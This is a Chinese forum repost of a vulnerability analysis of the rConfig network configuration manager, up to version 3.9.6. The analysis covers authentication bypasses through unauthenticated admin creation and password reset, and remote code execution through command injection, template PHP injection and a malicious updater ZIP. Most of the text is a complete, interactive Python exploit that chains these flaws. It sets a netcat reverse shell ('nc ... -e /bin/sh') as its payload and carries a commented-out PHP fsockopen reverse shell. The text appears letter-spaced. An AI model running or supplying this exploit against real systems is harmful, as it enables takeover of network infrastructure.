搜索

[15974] 2020-10-16_rConfig中的远程代码执行漏洞分析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-10-16_rConfig中的远程代码执行漏洞分析 r C o n f i g 中 的 远 程 代 码 执 行 漏 洞 分 析 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 0 - 1 6 漏 洞 概 述 漏 洞 概 述 r C o n f i g 是 一 款 开 源 的 网 络 设 备 配 置 管 理 实 用 工 具 ， 在 r C o n f i g 的 帮 助 下 ， 网 络 工 程 师 可 以 快 速 、 频 繁 地 管 理 网 络 设 备 的 快 照 。 但 是 研 究 人 员 近 期 在 r C o n f i g 中 发 现 了 两 个 未 经 身 份 验 证 的 远 程 R C E 漏 洞 。 其 中 一 个 漏 洞 允 许 未 经 认 证 的 用 户 实 现 身 份 验 证 ， 而 另 一 个 漏 洞 则 允 许 经 过 认 证 的 攻 击 者 在 目 标 设 备 上 实 现 任 意 代 码 执 行 。 受 影 响 系 统 受 影 响 系 统 r C o n f i g   v 3 . 9 6 及 其 之 前 版 本 。 厂 商 回 应 厂 商 回 应 厂 商 最 初 的 反 应 非 常 迅 速 ， 并 且 立 刻 发 布 了 一 个 更 新 版 本 （ v 3 . 9 . 6 ） ， 我 们 最 初 是 在 v 3 . 9 . 5 上 验 证 了 该 漏 洞 。 但 是 我 们 发 现 ， v 3 . 9 . 6 版 本 中 同 样 存 在 安 全 漏 洞 ， 并 将 此 情 况 反 应 给 了 厂 商 。 目 前 为 止 ， 我 们 还 不 知 道 有 没 有 安 全 补 丁 能 够 解 决 或 缓 解 这 两 个 漏 洞 所 带 来 的 影 响 。 漏 洞 分 析 漏 洞 分 析 a j a x A r c h i v e F i l e s . p h p   R C E 在 文 件 / h o m e / r c o n f i g / w w w / l i b / a j a x H a n d l e r s / a j a x A r c h i v e F i l e s . p h p 中 ， 有 一 个 e x t 参 数 ， 这 里 存 在 一 个 命 令 盲 注 漏 洞 ： 攻 击 者 可 以 发 送 下 列 请 求 内 容 来 触 发 这 个 漏 洞 ： a j a x E d i t T e m p l a t e . p h p   R C E 第 二 个 远 程 代 码 执 行 漏 洞 存 在 于 r C o n f i g 的 链 接 模 板 配 置 页 面 中 ， 在 这 里 ， 攻 击 者 将 有 可 能 在 文 件 中 注 入 P H P 代 码 ， 并 调 用 . . / w w w / t e s t . p h p 。 此 时 ， 攻 击 者 将 能 够 从 外 网 访 问 到 这 个 文 件 ， 如 果 目 标 文 件 名 不 是 以 . y m l 为 后 缀 的 话 ， r C o n f i g 会 自 动 添 加 该 后 缀 ， 因 此 攻 击 者 将 能 够 通 过 h t t p s : / / r c o n f i g / t e s t . p h p . y m l 来 调 用 或 访 问 t e s t . p h p 文 件 。
u p d a t e r . p h p   R C E 第 三 个 R C E 漏 洞 存 在 于 h t t p s : / / r c o n f i g / u p d a t e r . p h p ? c h k = 1 中 ， 因 为 u p d a t e r . p h p 中 缺 少 必 要 的 验 证 机 制 ， 如 果 我 们 获 取 一 个 真 正 的 r C o n f i g   Z I P 并 添 加 一 个 P H P   W e b S h e l l 到 这 个 Z I P 中 ， 然 后 上 传 并 安 装 的 话 ， 我 们 将 会 发 现 ， 程 序 中 会 出 现 一 个 新 的 管 理 员 凭 证 ， 即 a d m i n : a d m i n ， 这 个 W e b S h e l l 就 很 N i c e ！ u s e r p r o c e s s . p h p 身 份 认 证 绕 过 身 份 认 证 绕 过 第 一 个 认 证 绕 过 漏 洞 存 在 于 / h o m e / r c o n f i g / w w w / l i b / c r u d / u s e r p r o c e s s . p h p 的 注 册 函 数 中 ， 由 于 这 里 没 有 要 求 强 制 进 行 身 份 验 证 ， 所 以 我 们 可 以 创 建 我 们 自 己 的 管 理 员 用 户 了 （ u l e v e l i d   =   9 ） :
u s e r a d m i n . i n c . p h p 身 份 认 证 绕 过 身 份 认 证 绕 过 第 二 个 认 证 绕 过 漏 洞 同 样 存 在 于 刚 才 那 个 文 件 之 中 ， 通 过 利 用 h t t p s : / / r c o n f i g / u s e r a d m i n . i n c . p h p 中 的 信 息 泄 露 问 题 ， 我 们 可 以 知 道 r C o n f i g 实 例 中 存 在 的 用 户 凭 证 ， 这 样 我 们 就 可 以 更 新 账 号 的 配 置 ， 其 中 也 包 括 密 码 ： 漏 洞 利 用 代 码 漏 洞 利 用 代 码
i m p o r t   r e q u e s t s f r o m   r e q u e s t s _ t o o l b e l t . m u l t i p a r t . e n c o d e r   i m p o r t   M u l t i p a r t E n c o d e r i m p o r t   u r l l i b 3 i m p o r t   r e # f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p u r l l i b 3 . d i s a b l e _ w a r n i n g s ( ) u r l = " h t t p s : / / x . x . x . x / "   # c h a n g e   t h i s   t o   f i t   y o u r   U R L   ( a d d i n g   t h e   l a s t   s l a s h ) p a y l o a d = " n c   y . y . y . y   9 0 0 1   - e   / b i n / s h "     # c h a n g e   t h i s   t o   w h a t e v e r   p a y l o a d   y o u   w a n t p a y l o a d _ r c e =   " f i l e N a m e = . . / w w w / t e s t . p h p & c o d e = < % 3 f p h p + e c h o + s y s t e m ( ' l s ' ) % 3 b % 3 f > & i d = 3 "   # i f   y o u   w a n t   t o   u s e   M e t h o d   2   f o r   R C E ,   u s e   a   P H P ,   u r l e n c o d e d   p a y l o a d   a s   t h e   v a l u e   o f   t h e   c o d e   p a r a m e t e r p r i n t ( " C o n n e c t i n g   t o :   { } " . f o r m a t ( u r l ) ) p r i n t ( " C o n n e c t   b a c k   i s   s e t   t o :   { } ,   p l e a s e   l a u n c h   ' n c   - l v   9 0 0 1 ' " . f o r m a t ( p a y l o a d ) ) x   =   r e q u e s t s . g e t ( u r l + " l o g i n . p h p " ,   v e r i f y = F a l s e ) v e r s i o n   =   r e . s e a r c h ( " < p > ( . * ) < s p a n > " ,   x . t e x t ) v e r s i o n   =   v e r s i o n . g r o u p ( 1 ) i f   v e r s i o n   = =   " r C o n f i g   V e r s i o n   3 . 9 . 5 " :       p r i n t ( " V e r s i o n   3 . 9 . 5   c o n f i r m e d " ) e l s e :       p r i n t ( " V e r s i o n   i s   " + v e r s i o n +   "   i t   m a y   n o t   b e   v u l n e r a b l e " ) p a y l o a d _ f i n a l = " ; " + p a y l o a d r e f e r e r = u r l + " u s e r a d m i n . p h p " o r i g i n = u r l p r o x i e s   =   { " h t t p " :   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 " ,   " h t t p s " :   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 " }   # i n   c a s e   y o u   n e e d   t o   d e b u g   t h e   e x p l o i t   w i t h   B u r p ,   a d d   ' ,   p r o x i e s = p r o x i e s '   t o   a n y   r e q u e s t d e f   c r e a t e u s e r ( ) :         m u l t i p a r t _ d a t a   =   M u l t i p a r t E n c o d e r (               f i e l d s = {                               ' u s e r n a m e ' :   ' t e s t ' ,                               ' p a s s w o r d ' :   ' T e s t i n g 1 @ ' ,   # p a s s w o r d   s h o u l d   h a v e   a   c a p i t a l   l e t t e r ,   l o w e r c a s e ,   n u m b e r   a n d   a   s y m b o l                               ' p a s s c o n f ' :   ' T e s t i n g 1 @ ' ,                               ' e m a i l ' :   ' t e s t @ t e s t . c o m ' ,                               ' u l e v e l i d ' :   ' 9 ' ,                               ' a d d ' :   ' a d d ' ,                               ' e d i t i d ' :   ' '                             }               )         h e a d e r s   =   { ' C o n t e n t - T y p e ' :   m u l t i p a r t _ d a t a . c o n t e n t _ t y p e ,   " U p g r a d e - I n s e c u r e - R e q u e s t s " :   " 1 " ,   " R e f e r e r " :   r e f e r e r ,   " O r i g i n " : o r i g i n }         c o o k i e s   =   { ' P H P S E S S I D ' :   ' t e s t ' }         r e s p o n s e   =   r e q u e s t s . p o s t ( u r l + ' l i b / c r u d / u s e r p r o c e s s . p h p ' ,   d a t a = m u l t i p a r t _ d a t a ,   v e r i f y = F a l s e ,   c o o k i e s = c o o k i e s ,   h e a d e r s = h e a d e r s ,   a l l o w _ r e d i r e c t s = F a l s e )         i f   " e r r o r "   n o t   i n   r e s p o n s e . t e x t :                 p r i n t ( " ( + )   U s e r   t e s t   c r e a t e d " )         e l s e :                 p r i n t ( " ( - )   U s e r   c o u l d n ' t   b e   c r e a t e d ,   p l e a s e   d e b u g   t h e   e x p l o i t " )
                p r i n t ( " ( - )   U s e r   c o u l d n ' t   b e   c r e a t e d ,   p l e a s e   d e b u g   t h e   e x p l o i t " ) d e f   e x p l o i t ( ) :         p a y l o a d   =   {         ' u s e r ' :   ' t e s t ' ,         ' p a s s ' :   ' T e s t i n g 1 @ ' ,         ' s u b l o g i n ' :   ' 1 ' }         w i t h   r e q u e s t s . S e s s i o n ( )   a s   s :                   p   =   s . p o s t ( u r l + ' l i b / c r u d / u s e r p r o c e s s . p h p ' ,   d a t a = p a y l o a d ,   v e r i f y = F a l s e )                   i f   " S t e p h e n   S t a c k "   i n   p . t e x t :                         p r i n t ( " ( - )   E x p l o i t   f a i l e d ,   c o u l d   n o t   l o g i n   a s   u s e r   t e s t " )                   e l s e :                         p r i n t ( " ( + )   L o g   i n   a s   t e s t   c o m p l e t e d " )                         p a r a m s   =   { ' p a t h ' : ' t e s t ' ,                                             ' e x t ' :   p a y l o a d _ f i n a l                                           }                         r c e = s . g e t ( u r l + ' l i b / a j a x H a n d l e r s / a j a x A r c h i v e F i l e s . p h p ' ,   v e r i f y = F a l s e ,   p a r a m s = p a r a m s )                         i f   " s u c c e s s "   i n   r c e . t e x t :                                 p r i n t ( " ( + )   P a y l o a d   e x e c u t e d   s u c c e s s f u l l y " )                         e l s e :                                 p r i n t ( " ( - )   E r r o r   w h e n   e x e c u t i n g   p a y l o a d ,   p l e a s e   d e b u g   t h e   e x p l o i t " )   # i f   y o u   u s e d   m e t h o d   2   t o   a u t h   b y p a s s   a n d   1   f o r   R C E ,   i g n o r e   t h i s   m e s s a g e         p a y l o a d   =   {         ' u s e r ' :   ' a d m i n ' ,         ' p a s s ' :   ' T e s t i n g 1 @ ' ,         ' s u b l o g i n ' :   ' 1 ' }         w i t h   r e q u e s t s . S e s s i o n ( )   a s   s :                   p   =   s . p o s t ( u r l + ' l i b / c r u d / u s e r p r o c e s s . p h p ' ,   d a t a = p a y l o a d ,   v e r i f y = F a l s e )                   i f   " S t e p h e n   S t a c k "   i n   p . t e x t :                         p r i n t ( " ( - )   E x p l o i t   f a i l e d ,   c o u l d   n o t   l o g i n   a s   u s e r   t e s t " )                   e l s e :                         p r i n t ( " ( + )   L o g   i n   a s   t e s t   c o m p l e t e d " )                         p a r a m s   =   { ' p a t h ' : ' t e s t ' ,                                             ' e x t ' :   p a y l o a d _ f i n a l                                           }                         r c e = s . g e t ( u r l + ' l i b / a j a x H a n d l e r s / a j a x A r c h i v e F i l e s . p h p ' ,   v e r i f y = F a l s e ,   p a r a m s = p a r a m s )                         i f   " s u c c e s s "   i n   r c e . t e x t :                                 p r i n t ( " ( + )   P a y l o a d   e x e c u t e d   s u c c e s s f u l l y " )                         e l s e :                                 p r i n t ( " ( - )   E r r o r   w h e n   e x e c u t i n g   p a y l o a d ,   p l e a s e   d e b u g   t h e   e x p l o i t " ) d e f   u s e r _ e n u m _ u p d a t e ( ) :
        u s e r s = r e q u e s t s . g e t ( u r l + ' u s e r a d m i n . i n c . p h p ' ,   v e r i f y = F a l s e )         # m a t c h O b j   =   r e . f i n d a l l ( r ' < t d   a l i g n = " c e n t e r " > ( . * ? ) < / t d > ' ,   u s e r s . t e x t ,   r e . M | r e . I | r e . S )         i f   " a d m i n "   i n   u s e r s . t e x t :             p r i n t ( " ( + )   T h e   a d m i n   u s e r   i s   p r e s e n t   i n   t h i s   r C o n f i g   i n s t a n c e " )             m u l t i p a r t _ d a t a   =   M u l t i p a r t E n c o d e r (               f i e l d s = {                               ' u s e r n a m e ' :   ' a d m i n ' ,                               ' p a s s w o r d ' :   ' T e s t i n g 1 @ ' ,   # p a s s w o r d   s h o u l d   h a v e   a   c a p i t a l   l e t t e r ,   l o w e r c a s e ,   n u m b e r   a n d   a   s y m b o l                               ' p a s s c o n f ' :   ' T e s t i n g 1 @ ' ,                               ' e m a i l ' :   ' a d m i n @ a d m i n . c o m ' ,                               ' u l e v e l i d ' :   ' 9 ' ,                               ' a d d ' :   ' a d d ' ,                               ' e d i t i d ' :   ' 1 '   # y o u   m a y   n e e d   t o   i n c r e m e n t   t h i s   i f   y o u   w a n t   t o   r e s e t   t h e   p a s s w o r d   o f   a   d i f f e r e n t   u s e r                             }               )             h e a d e r s   =   { ' C o n t e n t - T y p e ' :   m u l t i p a r t _ d a t a . c o n t e n t _ t y p e ,   " U p g r a d e - I n s e c u r e - R e q u e s t s " :   " 1 " ,   " R e f e r e r " :   r e f e r e r ,   " O r i g i n " : o r i g i n }             c o o k i e s   =   { ' P H P S E S S I D ' :   ' t e s t ' }             r e s p o n s e   =   r e q u e s t s . p o s t ( u r l + ' l i b / c r u d / u s e r p r o c e s s . p h p ' ,   d a t a = m u l t i p a r t _ d a t a ,   v e r i f y = F a l s e ,   c o o k i e s = c o o k i e s ,   h e a d e r s = h e a d e r s ,   a l l o w _ r e d i r e c t s = F a l s e )             i f   " e r r o r "   n o t   i n   r e s p o n s e . t e x t :                     p r i n t ( " ( + )   T h e   n e w   p a s s w o r d   f o r   t h e   a d m i n   u s e r   i s   T e s t i n g 1 @ " )             e l s e :                     p r i n t ( " ( - )   A d m i n   u s e r   c o u l d n ' t   b e   e d i t e d ,   p l e a s e   d e b u g   t h e   e x p l o i t " )         e l i f     " A d m i n "   i n   u s e r s . t e x t :               p r i n t ( " ( + )   T h e r e   i s   a t   l e a s t   o n e   A d m i n   u s e r ,   c h e c k   " +   s t r ( u r l ) + " u s e r a d m i n . i n c . p h p   m a n u a l l y   a n d   m o d i f y   t h e   e x p l o i t   a c c o r d i n g l y   ( e r a s e   t h e   i f - e l i f   s t a t e m e n t s   o f   t h i s   f u n c t i o n   a n d   m o d i f y   t h e   u s e r   p a y l o a d ) " d e f   t e m p l a t e ( ) :         p a y l o a d   =   {         ' u s e r ' :   ' a d m i n ' ,         ' p a s s ' :   ' T e s t i n g 1 @ ' ,         ' s u b l o g i n ' :   ' 1 ' }         # < % 3 f p h p + % 2 4 s o c k % 3 D f s o c k o p e n % 2 8 % 2 2 1 9 2 . 1 6 8 . 1 . 1 3 % 2 2 % 2 C 1 2 3 4 % 2 9 % 3 B e x e c % 2 8 % 2 2 % 2 F b i n % 2 F s h % 2 0 - i % 2 0 % 3 C % 2 6 3 % 2 0 % 3 E % 2 6 3 % 2 0 2 % 3 E % 2 6 3 % 2 2 % 2 9 % 3 B % 3 f >         h e a d e r s _ r c e   =   { ' C o n t e n t - T y p e ' :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = U T F - 8 " ,   " R e f e r e r " :   u r l + " d e v i c e C o n n T e m p l a t e s . p h p " ,   " O r i g i n " : o r i g i n ,   " X - R e q u e s t e d - W i t h " :   " X M L H t t p R e q u e s t "         w i t h   r e q u e s t s . S e s s i o n ( )   a s   s :                   p   =   s . p o s t ( u r l + ' l i b / c r u d / u s e r p r o c e s s . p h p ' ,   d a t a = p a y l o a d ,   v e r i f y = F a l s e )                   i f   " S t e p h e n   S t a c k "   i n   p . t e x t :                         p r i n t ( " ( - )   E x p l o i t   f a i l e d ,   c o u l d   n o t   l o g i n   a s   u s e r   t e s t " )                   e l s e :                         p r i n t ( " ( + )   L o g   i n   a s   a d m i n   c o m p l e t e d " )                         r c e = s . p o s t ( u r l + ' l i b / a j a x H a n d l e r s / a j a x E d i t T e m p l a t e . p h p ' ,   v e r i f y = F a l s e ,   d a t a = p a y l o a d _ r c e ,   h e a d e r s = h e a d e r s _ r c e )                         i f   " s u c c e s s "   i n   r c e . t e x t :
精 彩 推 荐 精 彩 推 荐                                 p r i n t ( " ( + )   F i l e   c r e a t e d " )                                 r c e _ r e q   =   s . g e t ( u r l + ' t e s t . p h p . y m l ' ,   v e r i f y = F a l s e )                                 p r i n t ( " ( + )   C o m m a n d   r e s u l t s :   " )                                 p r i n t ( r c e _ r e q . t e x t )                         e l s e :                                 p r i n t ( " ( - )   E r r o r   w h e n   e x e c u t i n g   p a y l o a d ,   p l e a s e   d e b u g   t h e   e x p l o i t " ) d e f   m a i n ( ) :         p r i n t ( " R e m o t e   C o d e   E x e c u t i o n   +   A u t h   b y p a s s   r C o n f i g   3 . 9 . 5   b y   D a n i e l   M o n z ó n " )         p r i n t ( " I n   t h e   l a s t   s t a g e   i f   y o u r   p a y l o a d   i s   a   r e v e r s e   s h e l l ,   t h e   e x p l o i t   m a y   n o t   l a u n c h   t h e   s u c c e s s   m e s s a g e ,   b u t   c h e c k   y o u r   n e t c a t   ; ) " )         p r i n t ( " N o t e :   p r e f e r r e d   m e t h o d   f o r   a u t h   b y p a s s   i s   1 ,   b e c a u s e   i t   i s   l e s s   ' i n v a s i v e ' " )         p r i n t ( " N o t e 2 :   p r e f e r r e d   m e t h o d   f o r   R C E   i s   2 ,   a s   i t   d o e s   n o t   n e e d   y o u   t o   k n o w   i f ,   f o r   e x a m p l e ,   n e t c a t   h a s   b e e n   i n s t a l l e d   i n   t h e   t a r g e t   m a c h i n e " )         p r i n t ( ' ' ' C h o o s e   m e t h o d   f o r   a u t h e n t i c a t i o n   b y p a s s :                 1 )   U s e r   c r e a t i o n                 2 )   U s e r   e n u m e r a t i o n   +   U s e r   e d i t   ' ' ' )         a u t h _ b y p a s s = s t r ( i n p u t ( " M e t h o d > " ) )         i f   a u t h _ b y p a s s   = =   " 1 " :               c r e a t e u s e r ( )         e l i f   a u t h _ b y p a s s   = =   " 2 " :               u s e r _ e n u m _ u p d a t e ( )         p r i n t ( ' ' ' C h o o s e   m e t h o d   f o r   R C E :                 1 )   U n s a f e   c a l l   t o   e x e c ( )                 2 )   T e m p l a t e   e d i t   ' ' ' )         r c e _ m e t h o d = s t r ( i n p u t ( " M e t h o d > " ) )         i f   r c e _ m e t h o d   = =   " 1 " :               e x p l o i t ( )         e l i f   r c e _ m e t h o d   = =   " 2 " :               t e m p l a t e ( ) m a i n ( )

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理